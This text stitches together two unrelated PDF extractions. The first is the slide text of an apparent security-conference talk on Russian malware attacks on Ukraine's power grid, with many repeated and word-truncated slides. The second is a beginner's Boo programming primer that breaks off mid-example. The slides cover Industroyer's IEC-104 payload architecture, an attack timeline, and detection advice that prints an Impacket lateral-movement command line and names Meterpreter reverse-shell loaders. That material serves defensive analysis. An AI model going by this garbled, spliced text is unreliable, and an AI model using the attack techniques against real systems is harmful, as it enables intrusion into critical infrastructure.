Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
23 December 2015
≤6 hours
~230,000
BlackEnergy
First malware-induced blackout
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
Nov 2013
BlackEnergy
attacks intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
013
nergy
s intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
24 Feb 2022
Russian invasion
of Ukraine
Feb 2014
Russian occupation
of Crimea
April 2014
War in Donbas
begins
013
nergy
s intensify
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
24 Feb 2022
Russian invasion
of Ukraine
on
pril 2014
War in Donbas
egins
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
Apr 2018
Exaramel
attack detected in
Ukraine
Industroyer
Exaramel
24 Feb 2022
Russian invasion
of Ukraine
n
ril 2014
ar in Donbas
gins
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
Apr 2018
Exaramel
attack detected in
Ukraine
24 Feb 2022
Russian invasion
of Ukraine
015
Energy
k causes blackout in
ne
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
Apr 2018
Exaramel
attack detected in
Ukraine
23 Feb 2022
HermeticWiper
attack in Ukraine
HermeticWiper
HermeticWiper
100s
systems
5+
organizations
Dec 28, 2021
compilation timestamp
Hermetic campaign
HermeticWiper
HermeticWizard
HermeticRansom
HermeticRansom
• _/C_/projects/403forBiden/wHiteHousE.baggageGatherings
• _/C_/projects/403forBiden/wHiteHousE.lookUp
• _/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess
• _/C_/projects/403forBiden/wHiteHousE.GoodOffice1
23 Feb 2022
HermeticWiper
attack in Ukraine
24 Feb 2022
Russian invasion
of Ukraine
2014
sian occupation
rimea
April 2014
War in Donbas
begins
fy
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
23 Feb 2022
HermeticWiper
attack in Ukraine
24 Feb 2022
Russian invasion
of Ukraine
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
14 Mar 2022
CaddyWiper
deployed
CaddyWiper
Dozens of
systems
Targeted
financial sector
Compiled &
deployed
Mar 14, 2022
23 Feb 2022
HermeticWiper
attack in Ukraine
24 Feb 2022
Russian invasion
of Ukraine
Dec 2015
BlackEnergy
attack causes blackout in
Ukraine
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
14 Mar 2022
CaddyWiper
deployed
23 Feb 2022
HermeticWiper
attack in Ukraine
24 Feb 2022
Russian invasion
of Ukraine
ackout in
Dec 2016
Industroyer
attack causes blackout in
Ukraine
Jun 2017
NotPetya
outbreak
14 Mar 2022
CaddyWiper
deployed
8 Apr 2022
Industroyer2
sabotage attempt
Industroyer 2016
Industroyer’s intended impact
De-energize
power lines
Deny operators
visibility
& control
Industroyer’s intended impact
Deny operators
visibility
& control
ABB PCM600
ABB MicroScada
Signal Cross References
Substation Configuration Language
Substation Configuration Description
Configured IED Description
Industroyer’s intended impact
De-energize
power lines
v
Disable
protection relays
Deny operators
visibility
& control
Industroyer’s intended impact
De-energize
power lines
v
Disable
protection relays
Deny operators
visibility
& control
Industroyer’s intended impact
v
Disable
protection relays
ICS Advisory (ICSA-15-202-01)
Siemens SIPROTEC Denial-of-Service Vulnerability
Deny operators
visibility
& control
Industroyer’s intended impact
De-energize
power lines
v
Disable
protection relays
Deny operators
visibility
& control
Industroyer’s intended impact
De-energize
power lines
Physical damage
Operators
manually
re-energize
power lines
v
Disable
protection relays
Industroyer architecture
executes
Main Backdoor
Additional
Backdoor
Port
Scanner
installs
executes
Launcher
101 Payload
104 Payload
61850 Payload
OPC DA Payload
executes
17. Dec 2016 – 22:27 (UTC)
DOS
Tools
executes
Main Backdoor
Additional
Backdoor
installs
executes
Launcher
101 Payload
104 Payload
61850 Payload
OPC DA Payload
executes
Industroyer architecture
Port
Scanner
DOS
Tools
IEC 60870-5-104
•
Telecontrol protocol in power grids
•
TCP/IP extension of IEC 60870-5-101
•
Port 2404
•
Client-server model
ASDU = Application Service Data Unit
IOA = Information Object Address
104 Payload
104 Payload
Industroyer2
Industroyer2
Code similarity with
Industroyer
Embedded
configuration
IEC-104 protocol
only
Timestamp and compiler information of the Industroyer2 sample
Hardcoded configuration found in Industroyer2 sample
IEC-104 COMMAND PARSED BY WIRESHARK
Double command (C_DC_NA_1)
Single command (C_SC_NA_1)
Circuit breaker failure protection
Source: ABB
Industroyer 2016
Industroyer2 2022
Industroyer 2016
Industroyer2 2022
Co-deployed malware
Sandworm
Electrical substation
Industroyer2
CaddyWiper
ORCSHRED
SOLSHRED
AWFULSHRED
Control
ICS network
Linux and Solaris
network
14:58 UTC: Deployment of CaddyWiper on some Windows machines
and of Linux and Solaris destructive malware at the energy provider
15:02 UTC: Sandworm operator creates the scheduled task to launch Industroyer2
16:10 UTC: Scheduled execution of Industroyer2 to cut power in a
Ukrainian region
16:20 UTC: Scheduled execution of CaddyWiper on the same
machine to erase Industroyer2 traces
2022-04-08
Setting up the cron job to launch the wipers
Defense
Defense
• Suspicious IEC-104 traffic
• Lateral movement via Impacket
• Meterpreter
• Scheduled task via Group Policy
Industroyer2 playground
https://github.com/eset/malware-research/tree/master/industroyer2
Detection opportunities: lateral movement via Impacket
cmd.exe spawned by parent process: WmiPrvSE.exe
Specific command line:
cmd.exe /Q /c cmd /c %COMMAND% 1> \\127.0.0.1\ADMIN$\__%timestamp% 2>&1
Source: SecureAuth
Detection opportunities: Meterpreter
Loader for Meterpreter payloads:
• reverse_tcp
• reverse_http
Inserted in legitimate binaries via Shellter Pro
Detection opportunities: scheduled task via Group Policy (GPO)
Custom PowerShell script to create immediate scheduled task
MITRE ATT&CK
T1484.001
IEC104 Client for Metasploit
Wrap up
Further reading
• ESET: Industroyer2: Industroyer reloaded
• Mandiant: INDUSTROYER.V2: Old Malware Learns New Tricks
• Nozomi Networks: Industroyer vs. Industroyer2: Evolution of the IEC
104 Component
• Joe Slowik/Dragos: CRASHOVERRIDE: Reassessing the 2016 Ukraine
Electric Power Event as a Protection-Focused Attack
Black Hat sound bytes
• The threat is serious but can be thwarted
• Threat actor “sophistication” lies in knowledge of
protocols and target environment
• Defense should focus on early detection & prevention
@cherepanov74
@Robert_Lipovsky
@ESETResearch
Thank you... | pdf |
Boo Primer
by Cameron Kenneth Knight
Converted to PDF from the original HTML at boo.codehaus.org on May 27, 2008.
NOTE: Hyperlinks do not work in the PDF version.
Part 01 - Starting Out
http://boo.codehaus.org/Part+01+-+Starting+Out?print=1
1 of 3
5/27/2008 9:05 PM
Part 01 - Starting Out
Part 01 - Starting Out
Boo is an amazing language that combines the syntactic sugar of Python, the features of Ruby, and the speed and
safety of C#.
Like C#, Boo is a statically-typed language, which means that types are important. This adds a degree of safety that
Python and other dynamically-typed languages do not currently provide.
It fakes being a dynamically-typed language by inference. This makes it seem much like Python's simple and
programmer-friendly syntax.
C#
int i = 0;
MyClass m = new MyClass();
Boo
i = 0
m = MyClass()
Hello, World!
A Hello, World! program is very simple in Boo.
Don't worry if you don't understand it, I'll go through it one step at a time.
helloworld.boo
print "Hello, World!"
// OR
print("Hello, World!")
Output
Hello, World!
Hello, World!
First, you must compile the helloworld.boo file to an executable.
1. Open up a new command line
2. cd into the directory where you placed the helloworld.boo file.
3. booc helloworld.boo (this assumes that Boo is installed and in your system path)
helloworld.exe
OR, if you are using Mono,
4.
mono helloworld.exe
5.
1.
Using the print macro, it prints the string "Hello, World!" to the screen.
OR
2.
Using the print function, it prints the string "Hello, World!" to the screen.
3.
Now these both in the end, do the same thing. They both call System.Console.WriteLine("Hello, World") from the .NET
Standard Library.
Recommendation
Using the macro version (print "Hello, World!") is recommended.
And it's that simple.
Comparing code between Boo, C#, and VB.NET
Now you may be wondering how Boo could be as fast as C# or VB.NET.
Using their Hello World programs, I'll show you.
Boo
Part 01 - Starting Out
http://boo.codehaus.org/Part+01+-+Starting+Out?print=1
2 of 3
5/27/2008 9:05 PM
print "Hello, World!"
Boo Output
Hello, World!
C#
public class Hello
{
public static void Main()
{
System.Console.WriteLine("Hello World!");
}
}
C# Output
Hello, World!
VB.NET
Public Class Hello
Public Shared Sub Main()
System.Console.WriteLine("Hello World!")
End Sub
End Class
VB.NET Output
Hello, World!
All three have the same end result and all three are run in the .NET Framework.
All three are first translated into MSIL, then into executable files.
If you were to take the executables created by their compilers, and disassemble them with ildasm.exe, you would see
a very similar end result, which means that the executables themselves are very similar, so the speed between C#
and Boo is practically the same, it just takes less time to write the Boo code.
Booish
booish is a command line utility that provides a realtime environment to code boo in. It is great for testing purposes,
and I recommend following along for the next few pages by trying out a few things in booish.
You can invoke it by loading up a terminal, then typing booish (this assumes that Boo is installed and in your system
path)
Part 01 - Starting Out
http://boo.codehaus.org/Part+01+-+Starting+Out?print=1
3 of 3
5/27/2008 9:05 PM
Here's what booish will look like:
booish
>>> print "Hello, World!"
Hello, World!
>>>
Exercises
1. Write a Boo program that prints "Hello, World!", then prints "Goodbye, World!"
2. Play around with booish
Advanced: Compile the Hello, World! programs for Boo (using booc) and C# (using csc or mcs), run ildasm on
each of them and compare the result.
3.
Go on to Part 02 - Variables
Part 02 - Variables
http://boo.codehaus.org/Part+02+-+Variables?print=1
1 of 5
5/27/2008 9:10 PM
Part 02 - Variables
Part 02 - Variables
Using Booish as a Calculator
There are four basic mathematical operators: addition +, subtraction -, multiplication *, and division /. There are more
than just these, but that's what will be covered now.
$ booish
>>> 2 + 4 // This is a comment
6
>>> 2 * 4 # So is this also a comment
8
>>> 4 / 2 /* This is also a comment */
2
>>> (500/10)*2
100
>>> 7 / 3 // Integer division
2
>>> 7 % 3 // Take the remainder
1
>>> -7 / 3
-2
You may have noticed that there are 3 types of comments available, //, #, and /* */. These do not cause any affect
whatsoever, but help you when writing your code.
Recommendation
When doing single-line comments, use // instead of #
You may have noticed that 7 / 3 did not give 2.333..., this is because you were dividing two integers together.
Definition: Integer
Any positive or negative number that does not include a fraction or decimal, including zero.
The way computers handle integer division is by rounding to the floor afterwards.
In order to have decimal places, you must use a floating-point number.
Definition: Floating=point Number
Often referred to in mathematical terms as a "rational" number, this is just a number that can have a fractional
part.
$ booish
>>> 7.0 / 3.0 // Floating point division
2.33333333333333
>>> -8.0 / 5.0
-1.6
Part 02 - Variables
http://boo.codehaus.org/Part+02+-+Variables?print=1
2 of 5
5/27/2008 9:10 PM
If you give a number with a decimal place, even if it's .0, it become a floating-point number.
Types of Numbers
There are 3 kinds of floating point numbers, single, double, and decimal.
The differences between single and double is the size they take up. double is prefered in most situations.
These two also are based on the number 2, which can cause some problems when working with our base-10 number
system.
Ususally this is not the case, but in delecate situations like banking, it would not be wise to lose a cent or two on a
multi-trillion dollar contract.
Thus decimal was created. It is a base-10 number, which means that we wouldn't lose that precious penny.
In normal situations, double is perfectly fine. For a higher precision, a decimal should be used.
Integers, which we covered earlier, have many more types to them.
They also have the possibility to be "unsigned", which means that they must be non-negative.
The size goes in order as such: byte, short, int, and long.
In most cases, you will be using int, which is the default.
Characters and Strings
Definition: Character
A written symbol that is used to represent speech.
All the letters in the alphabet are characters. All the numbers are characters. All the symbols of the Mandarin language
are characters. All the mathematical symbols are characters.
In Boo/.NET, characters are internally encoded as UTF-16, or Unicode.
Definition: String
A linear sequence of characters.
The word "apple" can be represented by a string.
$ booish
>>> s = "apple"
'apple'
>>> print s
apple
>>> s += " banana"
'apple banana'
>>> print s
apple banana
>>> c = char('C')
C
>>> print c
C
Now you probably won't be using chars much, it is more likely you will be using strings.
To declare a string, you have one of three ways.
1. using double quotes. "apple"
2. using single quotes. 'apple'
using tripled double quotes. """apple"""
The first two can span only one line, but the tribbled double quotes can span multiple lines.
The first two also can have backslash-escaping. The third takes everything literally.
3.
$ booish
Part 02 - Variables
http://boo.codehaus.org/Part+02+-+Variables?print=1
3 of 5
5/27/2008 9:10 PM
>>> print "apple\nbanana"
apple
banana
>>> print 'good\ttimes'
good times
>>> print """Leeroy\Jenkins"""
Leeroy\Jenkins
Common escapes are:
{{
}} literal backslash
\n newline
\r carriage return
\t tab
If you are declaring a double-quoted string, and you want a double quote inside it, also use a backslash.
Same goes for the single-quoted string.
$ booish
>>> print "The man said \"Hello\""
The man said "Hello"
>>> print 'I\'m happy'
I'm happy
strings are immutable, which means that the characters inside them can never change. You would have to recreate the
string to change a character.
Definition: Immutable
Not capable of being modified after it is created. It is an error to attempt to modify an immutable object. The
opposite of immutable is mutable.
String Interpolation
String interpolation allows you to insert the value of almost any valid boo expression inside a string by quoting the
expression with ${}.
$ booish
>>> name = "Santa Claus"
Santa Claus
>>> print "Hello, ${name}!"
Hello, Santa Claus!
>>> print "2 + 2 = ${2 + 2}"
2 + 2 = 4
String Interpolation is the preferred way of adding strings together.
It is preferred over simple string addition.
String Interpolation can function in double-quoted strings, including tripled double-quoted string.
It does not work in single-quoted strings.
To stop String Interpolation from happening, just escape the dollar sign: \${}
Part 02 - Variables
http://boo.codehaus.org/Part+02+-+Variables?print=1
4 of 5
5/27/2008 9:10 PM
Booleans
Definition: Boolean
A value of true or false represented internally in binary notation.
Boolean values can only be true or false, which is very handy for conditional statements, covered in the next section.
$ booish
>>> b = true
true
>>> print b
True
>>> b = false
false
>>> print b
False
Object Type
Definition: Object
The central concept in the object-oriented programming programming paradigm.
Everything in Boo/.NET is an object.
Although some are value types, like numbers and characters, these are still objects.
$ booish
>>> o as object
>>> o = 'string'
'string'
>>> print o
string
>>> o = 42
42
>>> print o
42
The problem with objects is that you can't implicitly expect a string or an int.
If I were to do that same sequence without declaring o as object,
$ booish
>>> o = 'string'
'string'
>>> print o
string
>>> o = 42
--------^
ERROR: Cannot convert 'System.Int32' to 'System.String'.
This static typing keeps the code safe and reliable.
Part 02 - Variables
http://boo.codehaus.org/Part+02+-+Variables?print=1
5 of 5
5/27/2008 9:10 PM
Declaring a Type
In the last section, you issued the statement o as object.
This can work with any type and goes with the syntax <variable> as <type>.
<type> can be anything from an int to a string to a date to a bool to something which you defined yourself, but those
will be discussed later.
In most cases, Boo will be smart and implicitly figure out what you wanted.
The code i = 25 is the same thing as i as int = 25, just easier on your wrists.
Recommendation
Unless you are declaring a variable beforehand, or declaring it of a different type, don't explicitly state what kind
of variable it is.
i.e.
use i = 25 instead of i as int = 25
List of Value Types
Boo
type
.NET Framework
type
Signed?
Size in
bytes
Possible Values
sbyte
System.Sbyte
Yes
1
-128 to 127
short
System.Int16
Yes
2
-32768 - 32767
int
System.Int32
Yes
4
-2147483648 - 2147483647
long
System.Int64
Yes
8
-9223372036854775808 - 9223372036854775807
byte
System.Byte
No
1
0 - 255
ushort
System.Uint16
No
2
0 - 65535
uint
System.UInt32
No
4
0 - 4294967295
ulong
System.Uint64
No
8
0 - 18446744073709551615
single
System.Single
Yes
4
Approximately ±1.5 x 10-45 - ±3.4 x 1038 with 7 significant
figures
double
System.Double
Yes
8
Approximately ±5.0 x 10-324 - ±1.7 x 10308 with 15 or 16
significant figures
decimal
System.Decimal
Yes
12
Approximately ±1.0 x 10-28 - ±7.9 x 1028 with 28 or 29
significant figures
char
System.Char
N/A
2
Any UTF-16 character
bool
System.Boolean
N/A
1
true or false
Recommendation
Never call a type by its .NET Framework type, use the builtin boo types.
Exercises
Declare some variables. Go wild.
1.
Go on to Part 03 - Flow Control - Conditionals
Part 03 - Flow Control - Conditionals
http://boo.codehaus.org/Part+03+-+Flow+Control+-+Conditionals?print=1
1 of 3
5/27/2008 9:13 PM
Part 03 - Flow Control - Conditionals
Part 03 - Flow Control - Conditionals
If Statement
Definition: if statement
A control statement that contains one or more Boolean expressions whose results determine whether to execute
other statements within the If statement.
An if statemnt allows you to travel down multiple logical paths, depending on a condition given. If the condition given
is true, the block of code associated with it will be run.
if statement
i = 5
if i == 5:
print "i is equal to 5."
Output
i is equal to 5.
Be careful
notice the difference between i = 5 and i == 5.
i = 5 is an assignment
i == 5 is a comparison
If you try an assignment while running a conditional, Boo will emit a warning.
You may have noticed that unlike other languages, there is no then-endif or do-end or braces { }. Blocks of code are
determined in Boo by its indentation. By this, your code blocks will always be noticeable and readable.
Recommendation
Always use tabs for indentation.
In your editor, set the tab-size to view as 4 spaces.
You can have multiple code blocks within eachother as well.
Multiple if statements
i = 5
if i > 0:
print "i is greater than 0."
if i < 10:
print "i is less than 10."
if i > 5:
print "i is greater than 5."
Output
i is greater than 0.
i is less than 10.
If-Else Statement
With the if statement comes the else statement. It is called when your if statement's condition is false.
if-else statement
i = 5
if i > 5:
print "i is greater than 5."
Part 03 - Flow Control - Conditionals
http://boo.codehaus.org/Part+03+-+Flow+Control+-+Conditionals?print=1
2 of 3
5/27/2008 9:13 PM
else:
print "i is less than or equal to 5."
Output
i is less than or equal to 5.
Quite simple.
If-Elif-Else Statement
Now if you want to check for a condition after your if is false, that is easy as well. This is done through the elif
statement.
if-elif-else statement
i = 5
if i > 5:
print "i is greater than 5."
elif i == 5:
print "i is equal to 5."
elif i < 5:
print "i is less than 5."
Output
i is equal to 5.
You can have one if, any number of elif s, and an optional else .
Unless Statement
The unless statement is handy if you want a readable way of checking if a condition is not true.
unless statement
i = 5
unless i == 5:
print "i is equal to 5."
Output
It didn't output because i was equal to 5 in that case.
Statement with Modifier
Like in Ruby and Perl, you can follow a statement with a modifier.
Statement with modifier
i = 0
print i
i = 5 if true
print i
i = 10 unless true
print i
Output
0
5
5
Recommendation
Part 03 - Flow Control - Conditionals
http://boo.codehaus.org/Part+03+-+Flow+Control+-+Conditionals?print=1
3 of 3
5/27/2008 9:13 PM
Don't use Statement with Modifier on a long line. In that case, you should just create a code block.
A good rule of thumb is to not use it if the statement is more than 3 words long.
This will keep your code readable and beautiful.
Some common conditionals:
Operator
Meaning
Example
==
equal
5 == 5
!=
not equal
0 != 5
>
greater than
4 > 2
<
less than
2 < 4
>=
greater than or equal to 7 >= 7 and 7 >= 4
<=
less than or equal to
4 <= 8 and 6 <= 6
Not Condition
To check if a condition is not true, you would use not.
not condition
i = 0
if not i > 5:
print 'i is not greater than 5'
Output
i is not greater than 5
Combining Conditions
To check more than one condition, you would use and or or. Use parentheses ( ) to change the order of operations.
combining conditions
i = 5
if i > 0 and i < 10:
print "i is between 0 and 10."
if i < 3 or i > 7:
print "i is not between 3 and 7."
if (i > 0 and i < 3) or (i > 7 and i < 10):
print "i is either between 0 and 3 or between 7 and 10."
Note that and requires that both comparisons are true, while or requires that only one is true or both are true.
Output
i is between 0 and 10.
Exercises
Given the numbers x = 4, y = 8, and z = 6, compare them and print the middle one.
1.
Go on to Part 04 - Flow Control - Loops
Part 04 - Flow Control - Loops
http://boo.codehaus.org/Part+04+-+Flow+Control+-+Loops?print=1
1 of 3
5/27/2008 9:14 PM
Part 04 - Flow Control - Loops
Part 04 - Flow Control - Loops
For Loop
Definition: For loop
A loop whose body gets obeyed once for each item in a sequence.
A for loop in Boo is not like the for loop in languages like C and C#. It is more similar to a foreach.
The most common usage for a for loop is in conjuction with the range function.
The range function creates an enumerator which yields numbers.
The join function in this case, will create a string from an enumerator.
join and range example
join(range(5))
join(range(3, 7))
join(range(0, 10, 2))
Output
0 1 2 3 4
3 4 5 6
0 2 4 6 8
range can be called 3 ways:
range(end)
range(start, end)
range(start, end, step)
To be used in a for loop is quite easy.
for loop
for i in range(5):
print i
Output
0
1
2
3
4
Practically as fast as C#'s
The range function does not create an array holding all the values called, instead it is an IEnumerator, that will
quickly generate the numbers you need.
While Loop
Definition: While loop
A structure in a computer program that allows a sequence of instructions to be repeated while some condition
remains true.
The while loop is very similar to an if statement, except that it will repeat itself as long as its condition is true.
Part 04 - Flow Control - Loops
http://boo.codehaus.org/Part+04+-+Flow+Control+-+Loops?print=1
2 of 3
5/27/2008 9:14 PM
while loop
i = 0
while i < 5:
print i
i += 1
Output
0
1
2
3
4
In case you didn't guess, i += 1 adds 1 to i.
Continue Keyword
Continue keyword
A keyword used to resume program execution at the end of the current loop.
The continue keyword is used when looping. It will cause the position of the code to return to the start of the loop (as
long as the condition still holds).
continue statement
for i in range(10):
continue if i % 2 == 0
print i
Output
1
3
5
7
9
This skips the print part of this loop whenever i is even, causing only the odds to be printed out.
The i % 2 actually takes the remainder of i / 2, and checks it against 0.
While-Break-Unless Loop
the while-break-unless loop is very similar to other languages do-while statement.
while-break-unless loop
i = 10
while true:
print i
i -= 1
break unless i < 10 and i > 5
Output
10
9
8
7
6
5
Part 04 - Flow Control - Loops
http://boo.codehaus.org/Part+04+-+Flow+Control+-+Loops?print=1
3 of 3
5/27/2008 9:14 PM
Normally, this would be a simple while loop.
This is a good method of doing things if you want to accomplish something at least once or have the loop set itself up.
Pass Keyword
The pass keyword is useful if you don't want to accomplish anything when defining a code block.
while-break-unless loop
while true:
pass //Wait for keyboard interrupt (ctrl-C) to close program.
Exercises
1. print out all the numbers from 10 to 1.
print out all the squares from 1 to 100.
2.
Go on to Part 05 - Containers and Casting
Part 05 - Containers and Casting
http://boo.codehaus.org/Part+05+-+Containers+and+Casting?print=1
1 of 4
5/27/2008 9:19 PM
Part 05 - Containers and Casting
Part 05 - Containers and Casting
Lists
Definition: List
A linked list that can hold a variable amount of objects.
Lists are mutable, which means that the List can be changed, as well as its children.
lists
print([0, 'alpha', 4.5, char('d')])
print List('abcdefghij')
l = List(range(5))
print l
l[2] = 5
print l
l[3] = 'banana'
print l
l.Add(100.1)
print l
l.Remove(1)
print l
for item in l:
print item
Output
[0, alpha, 4.5, d]
[a, b, c, d, e, f, g, h, i, j]
[0, 1, 2, 3, 4]
[0, 1, 5, 3, 4]
[0, 1, 5, 'banana', 4]
[0, 1, 5, 'banana', 4, 100.1]
[0, 5, 'banana', 4, 100.1]
0
5
'banana'
4
100.1
As you can see, Lists are very flexible, which is very handy.
Lists can be defined two ways:
1. by using brackets []
by creating a new List wrapping an IEnumerator, or an array.
2.
Slicing
Slicing is quite simple, and can be done to strings, Lists, and arrays.
It goes in the form var[start:end]. both start and end are optional, and must be integers, even negative integers.
To just get one child, use the form var[position]. It will return a char for a string, an object for a List, or the specified type for
an array.
Slicing counts up from the number 0, so 0 would be the 1st value, 1 would be the 2nd, and so on.
slicing
list = List(range(10))
print list
print list[:5] // first 5
print list[2:5] // starting with 2nd, go up to but not including the 5
print list[5:] // everything past the 5th
print list[:-2] // everything up to the 2nd to last
print list[-4:-2] // starting with the 4th to last, go up to 2nd to last
print list[5] // the 6th
print list[-8] // the 8th from last
print '---'
Part 05 - Containers and Casting
http://boo.codehaus.org/Part+05+-+Containers+and+Casting?print=1
2 of 4
5/27/2008 9:19 PM
str = 'abcdefghij'
print str
print str[:5] // first 5
print str[2:5] // starting with 2nd, go up to but not including the 5
print str[5:] // everything past the 5th
print str[:-2] // everything up to the 2nd to last
print str[-4:-2] // starting with the 4th to last, go up to 2nd to last
print str[5] // the 6th
print str[-8] // the 8th from last
Output
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[0, 1, 2, 3, 4]
[2, 3, 4]
[5, 6, 7, 8, 9]
[0, 1, 2, 3, 4, 5, 6, 7]
[6, 7]
5
2
---
abcdefghij
abcde
cde
fghij
abcdefgh
gh
f
c
I hope you get the idea. Slicing is very powerful, as it allows you to express what you need in a minimal amount of space,
while still being readable.
Arrays
Definition: Array
Arrays are simple objects that hold equally-sized data elements, generally of the same data type.
Arrays, unlike Lists, cannot change their size. They can still be sliced, just not added on to.
Arrays can be defined three ways:
by using parentheses ()
If you have 0 members, it's declared: (,)
If you have 1 member, it's declared: (member,)
If you have 2 or more members, it's declared: (one, two)
1.
2. by creating a new array wrapping an IEnumerator, or an List.
by creating a blank array with a specified size: array(type, size)
3.
arrays
print((0, 'alpha', 4.5, char('d')))
print array('abcdefghij')
l = array(range(5))
print l
l[2] = 5
print l
l[3] = 'banana'
Output
(0, alpha, 4.5, d)
(a, b, c, d, e, f, g, h, i, j)
(0, 1, 2, 3, 4)
(0, 1, 5, 3, 4)
ERROR: Cannot convert 'System.String' to 'System.Int32'.
Arrays, unlike Lists, do not necessarily group objects. They can group any type, in the case of array(range(5)), it made an
Part 05 - Containers and Casting
http://boo.codehaus.org/Part+05+-+Containers+and+Casting?print=1
3 of 4
5/27/2008 9:19 PM
array of ints.
List to Array Conversion
If you create a List of ints and want to turn it into an array, you have to explicitly state that the List contains ints.
list to array conversion
list = []
for i in range(5):
list.Add(i)
print list
a = array(int, list)
print a
a[2] += 5
print a
list[2] += 5
Output
[0]
[0, 1]
[0, 1, 2]
[0, 1, 2, 3]
[0, 1, 2, 3, 4]
(0, 1, 2, 3, 4)
(0, 1, 7, 3, 4)
ERROR: Operator '+' cannot be used with a left-hand side of type 'System.Object' and a right-hand side of type 'System.Int32'
This didn't work, because the List still gives out objects instead of ints, even though it only holds ints.
Casting
Definition: Typecast
The conversion of a variable's data type to another data type to bypass some restrictions imposed on datatypes.
To get around a list storing only objects, you can cast an object individually to what its type really is, then play with it like it
should be.
Granted, if you cast to something that is improper, say a string to an int, Boo will emit an error.
There are two ways to cast an object as another data type.
1. using var as <type>
using cast(<type>, var)
2.
casting example
list = List(range(5))
print list
for item in list:
print cast(int, item) * 5
print '---'
for item as int in list:
print item * item
Output
0
5
10
15
20
---
0
1
4
9
16
Part 05 - Containers and Casting
http://boo.codehaus.org/Part+05+-+Containers+and+Casting?print=1
4 of 4
5/27/2008 9:19 PM
Recommendation
Try not to cast too much.
If you are constantly cast-ing, think if there is a better way to write the code.
Upcoming feature: Generics
Generics, which will be part of the .NET Framework 2.0, will allow you to create a List with a specified data type as its
base.
So soon enough, there will be a way to not have to cast a List's items every time.
Hashes
Definition: Hash
A List in which the indices may be objects, not just sequential integers in a fixed range.
Hashes are also called "dictionaries" in some other languages.
Hashes are very similar to Lists, except that the key in which to set values can be an object, though usually an int or a string.
Hashes can be defined two common ways:
1. by using braces {}
by creating a new Hash wrapping an IEnumerator, or an IDictionary.
2.
hash example
hash = {'a': 1, 'b': 2, 'monkey': 3, 42: 'the answer'}
print hash['a']
print hash[42]
print '---'
for item in hash:
print item.Key, '=>', item.Value
# the same hash can be created from a list like this :
ll = [ ('a',1), ('b',2), ('monkey',3), (42, "the answer") ]
hash = Hash(ll)
Output
1
the answer
---
a => 1
b => 2
monkey => 3
42 => the answer
Exercises
Produce a List containing the fibonacci sequence that has 1000 values in it. (See if you can do it in 4 lines)
1.
Go on to Part 06 - Operators
Part 06 - Operators
http://boo.codehaus.org/Part+06+-+Operators?print=1
1 of 2
5/27/2008 9:20 PM
Part 06 - Operators
Part 06 - Operators
Mathematical
Name
Syntax example
Comments
Multiplication a * b
Division
a / b
Remainder
a % b
Often called mod or modulus
Addition
a + b
Subtraction
a - b
Exponent
a ** b
Do not confuse this with Bitwise Xor ^
Bitshift Right a >> b
Bitshift Left
a << b
Bitwise And
a & b
Bitwise Or
a | b
Bitwise Xor
a ^ b
The mathematical operators can also be used in the syntax a <operator>= b, for example, a += b.
This is merely a shortcut for a = a <operator> b, or in our example a = a + b.
Relational and Logical
Name
Syntax Example
Comments
Less Than
a < b
Greater Than
a > b
Less Than or Equal To
a <= b
Greater Than or Equal To a >= b
Equality
a == b
Inequality
a != b
Logical And
a and b
Only use when a and b are boolean values
Logical Or
a or b
Only use when a and b are boolean values
Logical Not
not a
Only use when a is a boolean value
Types
Name
Syntax Example Comments
Typecast
cast(string, a)
Typecast
a as string
Type Equality/Compatibility a isa string
Type Retrieval
typeof(string)
Type Retrieval
a.GetType()
Primary
Name
Syntax Example
Comments
Member
A.B
Classes are described in Part 08 - Classes
Function Call
f(x)
Functions are described in Part 07 - Functions
Post Increment i++
See Difference between Pre and Post Increment/Decrement
Post Decrement i--
See Difference between Pre and Post Increment/Decrement
Constructor Call o = MyClass()
Classes are described in Part 08 - Classes
Unary
Name
Syntax Example
Comments
Negative Value -5
Part 06 - Operators
http://boo.codehaus.org/Part+06+-+Operators?print=1
2 of 2
5/27/2008 9:20 PM
Pre Increment ++i
See Difference between Pre and Post Increment/Decrement
Pre Decrement --i
See Difference between Pre and Post Increment/Decrement
Grouping
(a + b)
Difference between Pre and Post Increment/Decrement
When writing inline code, Pre Increment/Decrement (++i/--i) commit the action, then return its new value, whereas
Post Increment/Decrement (i++/i--) return the current value, then commit the change.
preincrement vs. postincrement
num = 0
for i in range(5):
